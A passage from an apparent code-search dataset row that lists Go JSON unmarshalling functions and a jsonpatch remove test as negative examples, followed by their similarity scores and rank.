{\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"tags\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Tags\\\", &t.Tags)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (ShareRemoved) Unmarshal(v []byte) (interface{}, error) {\\n\\te := ShareRemoved{}\\n\\terr := json.Unmarshal(v, &e)\\n\\treturn e, err\\n}\",\n \"func (j *QueueId) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *StopPacket) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *bulkUpdateRequestCommandOp) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson1ed00e60DecodeGithubComOlivereElasticV7(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *Json) UnmarshalJSON(b []byte) error {\\n\\tr, err := loadContentWithOptions(b, Options{\\n\\t\\tType: ContentTypeJson,\\n\\t\\tStrNumber: true,\\n\\t})\\n\\tif r != nil {\\n\\t\\t// Value copy.\\n\\t\\t*j = *r\\n\\t}\\n\\treturn err\\n}\",\n \"func (j *Event) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *StopRespPacket) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (a *ApplicationGatewayFirewallExclusion) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"matchVariable\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"MatchVariable\\\", &a.MatchVariable)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"selector\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Selector\\\", &a.Selector)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"selectorMatchOperator\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"SelectorMatchOperator\\\", &a.SelectorMatchOperator)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (x *MemcacheDeleteResponse_DeleteStatusCode) UnmarshalJSON(b []byte) error {\\n\\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*x = MemcacheDeleteResponse_DeleteStatusCode(num)\\n\\treturn nil\\n}\",\n \"func (j *jsonNative) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *CreateQueueResponse) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (a *RemoveScriptToEvaluateOnNewDocumentReply) UnmarshalJSON(b []byte) error {\\n\\ttype Copy RemoveScriptToEvaluateOnNewDocumentReply\\n\\tc := &Copy{}\\n\\terr := json.Unmarshal(b, c)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*a = RemoveScriptToEvaluateOnNewDocumentReply(*c)\\n\\treturn nil\\n}\",\n \"func Test_jsonpatch_Remove_ObjectAndArray(t *testing.T) {\\n\\tg := NewWithT(t)\\n\\n\\torigDoc := []byte(`{\\n\\t\\t\\\"asd\\\":\\\"foof\\\",\\n\\t\\t\\\"test_obj\\\":{\\\"color\\\":\\\"red\\\", \\\"model\\\":\\\"sedan\\\"},\\n\\t\\t\\\"test_array\\\":[\\\"uno\\\", \\\"deux\\\", \\\"three\\\"]\\n }`)\\n\\n\\tpatch1, _ := DecodePatch([]byte(`[\\n\\t\\t{\\\"op\\\":\\\"remove\\\", \\\"path\\\":\\\"/test_obj\\\"},\\n\\t\\t{\\\"op\\\":\\\"remove\\\", \\\"path\\\":\\\"/test_array\\\"}\\n\\t]`))\\n\\n\\texpectNewDoc := []byte(`{\\\"asd\\\":\\\"foof\\\"}`)\\n\\n\\tnewDoc, err := patch1.Apply(origDoc)\\n\\tg.Expect(err).ShouldNot(HaveOccurred(), \\\"patch apply\\\")\\n\\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \\\"%v is not equal to %v\\\", string(newDoc), string(expectNewDoc))\\n}\",\n \"func (s *StringNotEndsWithAdvancedFilter) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", s, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"key\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Key\\\", &s.Key)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operatorType\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"OperatorType\\\", &s.OperatorType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"values\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Values\\\", &s.Values)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", s, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func Test_jsonpatch_Remove_ObjectAndArray(t *testing.T) {\\n\\tg := NewWithT(t)\\n\\n\\torigDoc := []byte(`{\\n\\t\\t\\\"asd\\\":\\\"foof\\\",\\n\\t\\t\\\"test_obj\\\":{\\\"color\\\":\\\"red\\\", \\\"model\\\":\\\"sedan\\\"},\\n\\t\\t\\\"test_array\\\":[\\\"uno\\\", \\\"deux\\\", \\\"three\\\"]\\n }`)\\n\\n\\tpatch1, _ := jsonpatch.DecodePatch([]byte(`[\\n\\t\\t{\\\"op\\\":\\\"remove\\\", \\\"path\\\":\\\"/test_obj\\\"},\\n\\t\\t{\\\"op\\\":\\\"remove\\\", \\\"path\\\":\\\"/test_array\\\"}\\n\\t]`))\\n\\n\\texpectNewDoc := []byte(`{\\\"asd\\\":\\\"foof\\\"}`)\\n\\n\\tnewDoc, err := patch1.Apply(origDoc)\\n\\tg.Expect(err).ShouldNot(HaveOccurred(), \\\"patch apply\\\")\\n\\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \\\"%v is not equal to %v\\\", string(newDoc), string(expectNewDoc))\\n}\",\n \"func (x *StationOperations) UnmarshalJSON(b []byte) error {\\n\\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*x = StationOperations(num)\\n\\treturn nil\\n}\",\n \"func (j *Segment) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func unmarshalJSON(j extv1.JSON, output *any) error {\\n\\tif len(j.Raw) == 0 {\\n\\t\\treturn nil\\n\\t}\\n\\treturn json.Unmarshal(j.Raw, output)\\n}\",\n \"func (j *Message) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (f *Feature) UnmarshalJSON(b []byte) error {\\n\\tif b[0] != '\\\"' || b[len(b)-1] != '\\\"' {\\n\\t\\treturn errors.New(\\\"syntax error\\\")\\n\\t}\\n\\n\\treturn f.UnmarshalText(b[1 : len(b)-1])\\n}\",\n \"func (l *LiveEventActionInput) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", l, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"removeOutputsOnStop\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"RemoveOutputsOnStop\\\", &l.RemoveOutputsOnStop)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", l, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (j *Packet) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (LinkRemoved) Unmarshal(v []byte) (interface{}, error) {\\n\\te := LinkRemoved{}\\n\\terr := json.Unmarshal(v, &e)\\n\\treturn e, err\\n}\",\n \"func (e *ExtraLayers) UnmarshalJSON(data []byte) error {\\n\\tvar a []string\\n\\tif err := json.Unmarshal(data, &a); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn e.Parse(a...)\\n}\",\n \"func (j *RunPacket) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *OneUpdateLike) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\tdecodeOneUpdateLike(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *UnbindParams) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoTethering(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (i *Event) UnmarshalJSON(b []byte) error {\\n\\ttype Mask Event\\n\\n\\tp := struct {\\n\\t\\t*Mask\\n\\t\\tCreated *parseabletime.ParseableTime `json:\\\"created\\\"`\\n\\t\\tTimeRemaining json.RawMessage `json:\\\"time_remaining\\\"`\\n\\t}{\\n\\t\\tMask: (*Mask)(i),\\n\\t}\\n\\n\\tif err := json.Unmarshal(b, &p); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ti.Created = (*time.Time)(p.Created)\\n\\ti.TimeRemaining = duration.UnmarshalTimeRemaining(p.TimeRemaining)\\n\\n\\treturn nil\\n}\",\n \"func (v *EventContextDestroyed) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoWebaudio2(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *Features) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson42239ddeDecodeGithubComKhliengDispatchServer25(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func NewJSONItemRemover(removedPath []string) JSONItemRemover {\\n\\tremovedDataIndex1 := make(map[int]bool)\\n\\tremovedPath1 := make(map[string]bool)\\n\\tvar rmCount int\\n\\tif removedPath != nil {\\n\\t\\trmCount = len(removedPath)\\n\\t\\tfor _, val := range removedPath {\\n\\t\\t\\tremovedPath1[val] = true\\n\\n\\t\\t}\\n\\t}\\n\\treturn containerJSONItemRemover{removedDataIndex: removedDataIndex1, removedPath: removedPath1, removedPathCount: rmCount}\\n}\",\n \"func (j *CreateQueueRequest) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *UnloadCheckResponse) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson6a975c40DecodeJsonBenchmark(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (t *Transfer) UnmarshalJSON(data []byte) error {\\n\\tif id, ok := ParseID(data); ok {\\n\\t\\tt.ID = id\\n\\t\\treturn nil\\n\\t}\\n\\n\\ttype transfer Transfer\\n\\tvar v transfer\\n\\tif err := json.Unmarshal(data, &v); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*t = Transfer(v)\\n\\treturn nil\\n}\",\n \"func (v *EventPipelineStageDelete) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk4(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (o *OperationList) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationList) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (t *BlockTest) UnmarshalJSON(in []byte) error {\\n\\treturn json.Unmarshal(in, &t.Json)\\n}\",\n \"func (s *RemoveDeviceValidator) BindJSON(c *gin.Context) error {\\n\\tb := binding.Default(c.Request.Method, c.ContentType())\\n\\n\\terr := c.ShouldBindWith(s, b)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (s *StringNotBeginsWithAdvancedFilter) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", s, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"key\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Key\\\", &s.Key)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operatorType\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"OperatorType\\\", &s.OperatorType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"values\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Values\\\", &s.Values)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", s, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (op *OpRetain) UnmarshalJSON(raw []byte) error {\\n\\treturn json.Unmarshal(raw, &op.Fields)\\n}\",\n \"func (s *Specifier) UnmarshalJSON(b []byte) error {\\n\\tvar str string\\n\\tif err := json.Unmarshal(b, &str); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tcopy(s[:], str)\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Origin\\\", &o.Origin)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Origin\\\", &o.Origin)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (v *Stash) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonD2b7633eDecodeDrhyuComIndexerModels(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (t *TrackedResourceModificationDetails) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"deploymentId\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"DeploymentID\\\", &t.DeploymentID)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"deploymentTime\\\":\\n\\t\\t\\terr = unpopulateTimeRFC3339(val, \\\"DeploymentTime\\\", &t.DeploymentTime)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"policyDetails\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"PolicyDetails\\\", &t.PolicyDetails)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6547019","0.6543067","0.6497812","0.649129","0.6434794","0.6374226","0.6309998","0.6278878","0.6256634","0.62374836","0.62212664","0.6178675","0.617603","0.6129699","0.6129218","0.6129068","0.6103448","0.6099082","0.6097856","0.60854304","0.60695916","0.6068271","0.60649717","0.60553557","0.6046467","0.6040689","0.6038099","0.6025547","0.6018597","0.6012895","0.59939957","0.59903896","0.59719896","0.59706646","0.5959765","0.5945923","0.5941979","0.5939851","0.59394485","0.59287614","0.5918546","0.5918418","0.5913102","0.5903066","0.58985853","0.58978933","0.5861192","0.58597386","0.5846106","0.5843242","0.58396924","0.58302003","0.5820752","0.5818202","0.5814395","0.581343","0.5808244","0.5803552","0.5800909","0.5790727","0.5781291","0.5779844","0.5777486","0.57715976","0.5770522","0.57676864","0.57623994","0.5762193","0.5759097","0.57565117","0.5753666","0.57480663","0.5747286","0.5744612","0.57371783","0.57348037","0.5731891","0.5731312","0.5729265","0.57255286","0.57244575","0.57238746","0.5719282","0.5718035","0.57162666","0.57162666","0.57152647","0.57143044","0.5714084","0.57139826","0.57096523","0.57084405","0.57084405","0.5707","0.57056373","0.5701696","0.5701696","0.5701696","0.5701696","0.5701696"],"string":"[\n \"0.6547019\",\n \"0.6543067\",\n \"0.6497812\",\n \"0.649129\",\n \"0.6434794\",\n \"0.6374226\",\n \"0.6309998\",\n \"0.6278878\",\n \"0.6256634\",\n \"0.62374836\",\n \"0.62212664\",\n \"0.6178675\",\n \"0.617603\",\n \"0.6129699\",\n \"0.6129218\",\n \"0.6129068\",\n \"0.6103448\",\n \"0.6099082\",\n \"0.6097856\",\n \"0.60854304\",\n \"0.60695916\",\n \"0.6068271\",\n \"0.60649717\",\n \"0.60553557\",\n \"0.6046467\",\n \"0.6040689\",\n \"0.6038099\",\n \"0.6025547\",\n \"0.6018597\",\n \"0.6012895\",\n \"0.59939957\",\n \"0.59903896\",\n \"0.59719896\",\n \"0.59706646\",\n \"0.5959765\",\n \"0.5945923\",\n \"0.5941979\",\n \"0.5939851\",\n \"0.59394485\",\n \"0.59287614\",\n \"0.5918546\",\n \"0.5918418\",\n \"0.5913102\",\n \"0.5903066\",\n \"0.58985853\",\n \"0.58978933\",\n \"0.5861192\",\n \"0.58597386\",\n \"0.5846106\",\n \"0.5843242\",\n \"0.58396924\",\n \"0.58302003\",\n \"0.5820752\",\n \"0.5818202\",\n \"0.5814395\",\n \"0.581343\",\n \"0.5808244\",\n \"0.5803552\",\n \"0.5800909\",\n \"0.5790727\",\n \"0.5781291\",\n \"0.5779844\",\n \"0.5777486\",\n \"0.57715976\",\n \"0.5770522\",\n \"0.57676864\",\n \"0.57623994\",\n \"0.5762193\",\n \"0.5759097\",\n \"0.57565117\",\n \"0.5753666\",\n \"0.57480663\",\n \"0.5747286\",\n \"0.5744612\",\n \"0.57371783\",\n \"0.57348037\",\n \"0.5731891\",\n \"0.5731312\",\n \"0.5729265\",\n \"0.57255286\",\n \"0.57244575\",\n \"0.57238746\",\n \"0.5719282\",\n \"0.5718035\",\n \"0.57162666\",\n \"0.57162666\",\n \"0.57152647\",\n \"0.57143044\",\n \"0.5714084\",\n \"0.57139826\",\n \"0.57096523\",\n \"0.57084405\",\n \"0.57084405\",\n \"0.5707\",\n \"0.57056373\",\n \"0.5701696\",\n \"0.5701696\",\n \"0.5701696\",\n \"0.5701696\",\n \"0.5701696\"\n]"},"document_score":{"kind":"string","value":"0.75288004"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106173,"cells":{"query":{"kind":"string","value":"UnmarshalYAML will unmarshal YAML into a remove operation"},"document":{"kind":"string","value":"func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn nil\n}","func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}","func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\n\ttag := GetTag(node.Value)\n\tf.Name = tag.Name\n\tf.Negates = tag.Negates\n\tlog.Tracef(\"Unmarshal %s into %s\\n\", node.Value, tag)\n\treturn nil\n}","func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn 